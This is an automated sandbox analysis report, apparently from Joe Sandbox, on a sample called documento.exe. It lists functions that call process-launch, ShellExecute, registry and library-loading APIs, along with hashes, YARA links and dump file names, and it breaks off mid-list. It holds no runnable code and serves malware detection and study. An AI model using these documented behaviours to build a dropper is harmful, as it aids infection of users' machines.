Opcode ID: 12a72383bc36c7d96190d5e65704f25bda740c5ae2a23a9d2252c3d1e3b898a5
Instruction ID: babde66c8cd488a95ab0ad7164d611a89d90f571a219cc2b865e3b094ddf9d96
Opcode Fuzzy Hash: 12a72383bc36c7d96190d5e65704f25bda740c5ae2a23a9d2252c3d1e3b898a5
Instruction Fuzzy Hash: 28712471E04228CBDF28CFA8C8547ADBBB1FB44305F15816ED856BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040664D Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61a2e03896eecfdf1d4da445d37de20e8426d4ebfe516142fa5c4c165488df89
Instruction ID: 6cdc3ec63689871e8710e51dd90966e3aca29af0085505062bf66b2ee05b33a6
Opcode Fuzzy Hash: 61a2e03896eecfdf1d4da445d37de20e8426d4ebfe516142fa5c4c165488df89
Instruction Fuzzy Hash: 25714571E04228CBDF28CF98C8547ADBBB1FB44305F11806ED856BB281C7786A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F16: lstrlenA.KERNEL32(rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
Part of subcall function 00404F16: lstrlenA.KERNEL32(00402FCF,rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
Part of subcall function 00404F16: lstrcatA.KERNEL32(rghtten,00402FCF,00402FCF,rghtten,00000000,0040E8D8,00000000), ref: 00404F72
Part of subcall function 00404F16: SetWindowTextA.USER32(rghtten,rghtten), ref: 00404F84
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FAA
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FC4
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FD2

Part of subcall function 0040548E: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421528,Error launching installer), ref: 004054B7
Part of subcall function 0040548E: CloseHandle.KERNEL32(?), ref: 004054C4

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
CloseHandle.KERNEL32(?), ref: 00401EB3

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 72a581bbba54c9cbde4d6975f76086a222e3956d5bb43ae7d71fe76beb1543f5
Instruction ID: b8d0583dc05b8a4b641891086a9cee3b9fffb48cfcfca3e9183047df695922e9
Opcode Fuzzy Hash: 72a581bbba54c9cbde4d6975f76086a222e3956d5bb43ae7d71fe76beb1543f5
Instruction Fuzzy Hash: 6E016D31904108EBDF11AFA1C98599F7BB6EF00354F20807BFA01B52E1C7785E55DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405BE4 Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,00405E29,00000000,00000002,?), ref: 00405C0D
RegQueryValueExA.KERNEL32 ref: 00405C2E
RegCloseKey.KERNEL32(?), ref: 00405C4F

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction ID: aa1ddffca215974e7db513772cf32b94c10ac9f3b952a48a6b2e4b760bc22b34
Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction Fuzzy Hash: 0B01487254420AEFEB128F64ED44EEB3FACEF15354B004026F905A6220D235D964CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00402482 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000), ref: 00402B6C

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024B0
RegEnumValueA.ADVAPI32 ref: 004024C3
RegCloseKey.KERNEL32(?), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 677bdc88bce3e1e7e8eb01a68c937f1af1addeb258e3eaebf081c5251f1331a7
Instruction ID: e09e8e067f2b8771eb66943483239aed03eb61d96520190a1401bf15a77a7747
Opcode Fuzzy Hash: 677bdc88bce3e1e7e8eb01a68c937f1af1addeb258e3eaebf081c5251f1331a7
Instruction Fuzzy Hash: BAF0AD72A04200BFEB11AF659E88EBB7A6DEB80344B10443AF505A61C0D6B84A459A7A

Uniqueness

Uniqueness Score: -1.00%

Function 00401DEA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare,?), ref: 00401E30

Strings

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare, xrefs: 00401E1B

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare
API String ID: 587946157-123516722
Opcode ID: 2c6f028ace9ee28ba9af41cfcce1795a7e5fe9b3bc8022bb32b22207bedf057e
Instruction ID: ee8d38ae8572f78804fc61ee43f60716403cc2376375e1dcbb8ba3fba782be0d
Opcode Fuzzy Hash: 2c6f028ace9ee28ba9af41cfcce1795a7e5fe9b3bc8022bb32b22207bedf057e
Instruction Fuzzy Hash: ACF02272B041007FDB10ABB19D4AF5E2AA8AB61319F20493BF141F60C2DABC88019A28

Uniqueness

Uniqueness Score: -1.00%

Function 00402410 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000), ref: 00402B6C

RegQueryValueExA.ADVAPI32 ref: 00402440
RegCloseKey.KERNEL32(?), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 3d06c792d204b5780c99020f1df9334d27262dd1fda640259017b7665588fed0
Instruction ID: e2c7ba43779b99907ab4ed3cb5240aedb23d0abedd6968282b04b845729cd546
Opcode Fuzzy Hash: 3d06c792d204b5780c99020f1df9334d27262dd1fda640259017b7665588fed0
Instruction Fuzzy Hash: C7119471905205EEDF14DF64C6889AEBBB4EF11349F20843FE542B62C0D2B84A45DA5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageA.USER32 ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f500664b12d1a9ca3d846aae4db6b5f226f7dec665eeac70e15b2afbb9a011de
Instruction ID: f7ce4a596c66e03a629b41503ee4a79f45406b0749a56119d0920da1f960bb93
Opcode Fuzzy Hash: f500664b12d1a9ca3d846aae4db6b5f226f7dec665eeac70e15b2afbb9a011de
Instruction Fuzzy Hash: 0E01F431B24210ABE7194B389E04B6A37A8E710314F11823BF911F66F1D7B8DC42AB4D

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE8 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00404FF8

Part of subcall function 00403F2E: SendMessageA.USER32 ref: 00403F40

OleUninitialize.OLE32 ref: 00405044

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: d3b6dbed7c397c7d965c7b5dc9da2b27708715bb4eb5028dd1fcf91096d05334
Instruction ID: 5c307a7216673bc61f70b616c35f5055657c704e5bc639d6389db7f9009c9d2b
Opcode Fuzzy Hash: d3b6dbed7c397c7d965c7b5dc9da2b27708715bb4eb5028dd1fcf91096d05334
Instruction Fuzzy Hash: B3F0F0FAA00601BADB605F119C00B1B77B4DBD0746F10803AFE44A22A0D73998428AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401567 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00010350), ref: 00401579
ShowWindow.USER32(00010348), ref: 0040158E

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 9dbd9b7718999257957ecf96969e76a3a03f192157de06d7b0b0cd9deed0d964
Instruction ID: 7a448c7715a17160088acb1a6ba8cb9818a258c7baefa7eb8fde05be1467c36a
Opcode Fuzzy Hash: 9dbd9b7718999257957ecf96969e76a3a03f192157de06d7b0b0cd9deed0d964
Instruction Fuzzy Hash: A7E04F76B10104ABDB14EBA4EE8086E77A7E794310360447BD202B3694C2B89D459A68

Uniqueness

Uniqueness Score: -1.00%

Function 00406092 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060A4
GetProcAddress.KERNEL32(00000000,?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060BF

Part of subcall function 00406028: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040603F
Part of subcall function 00406028: wsprintfA.USER32 ref: 00406078
Part of subcall function 00406028: LoadLibraryA.KERNEL32(?), ref: 00406088

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 9d06168268301413df58d073caad4fe4514c6b8c3f7d40560c439a7b978b8ec9
Instruction ID: 774eb21b39d2aab2af5da2aca531c8e6d79f2737565152ed1a094a03d1eb9b6f
Opcode Fuzzy Hash: 9d06168268301413df58d073caad4fe4514c6b8c3f7d40560c439a7b978b8ec9
Instruction Fuzzy Hash: 28E0863254411166D610E7705D0487773AC9F84711302883EF942F2150D734AC26A669

Uniqueness

Uniqueness Score: -1.00%

Function 00405970 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\documento.exe,80000000,00000003), ref: 00405974
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405996

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: afccfa4f4cb9885f70129b38e82a9c897481b005b6ad677f4785abde6c99dd13
Instruction ID: f6a7e9eb3deff2eb260b804c641ce7d3451857e515cdc874e2100240a7e6f5b1
Opcode Fuzzy Hash: afccfa4f4cb9885f70129b38e82a9c897481b005b6ad677f4785abde6c99dd13
Instruction Fuzzy Hash: D2D09E31658301AFEF098F20DD1AF2E7AA2EB84B01F10962CB646940E0D6715C15DB16

Uniqueness

Uniqueness Score: -1.00%

Function 0040594B Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,00405563,?,?,00000000,00405746,?,?,?,?), ref: 00405950
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405964

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 318c8869c664b65327b47b9f35d6847cb303a6655a32462d5bdd6235084e72f0
Instruction ID: a0e6ef5e26ee6ddc4bb0604ab4126291559e87657aa933595c84d6ace612bc1e
Opcode Fuzzy Hash: 318c8869c664b65327b47b9f35d6847cb303a6655a32462d5bdd6235084e72f0
Instruction Fuzzy Hash: 9AD0C972908120EBC2102738BE0C89BBB55DB542717058B31F969B22F0C7304C56CA95

Uniqueness

Uniqueness Score: -1.00%

Function 00405459 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004030CC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032CD), ref: 0040545F
GetLastError.KERNEL32 ref: 0040546D

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction ID: c1acecc5f45fa991ae160619e34a4bf2a4a440633476f6552c0bcd7b2c81b644
Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction Fuzzy Hash: D3C04C30B59502DAD6105B309E08B577D54AB50742F1449756546E10E0D6349451DD2F

Uniqueness

Uniqueness Score: -1.00%

Function 00401662 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 0040167D

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
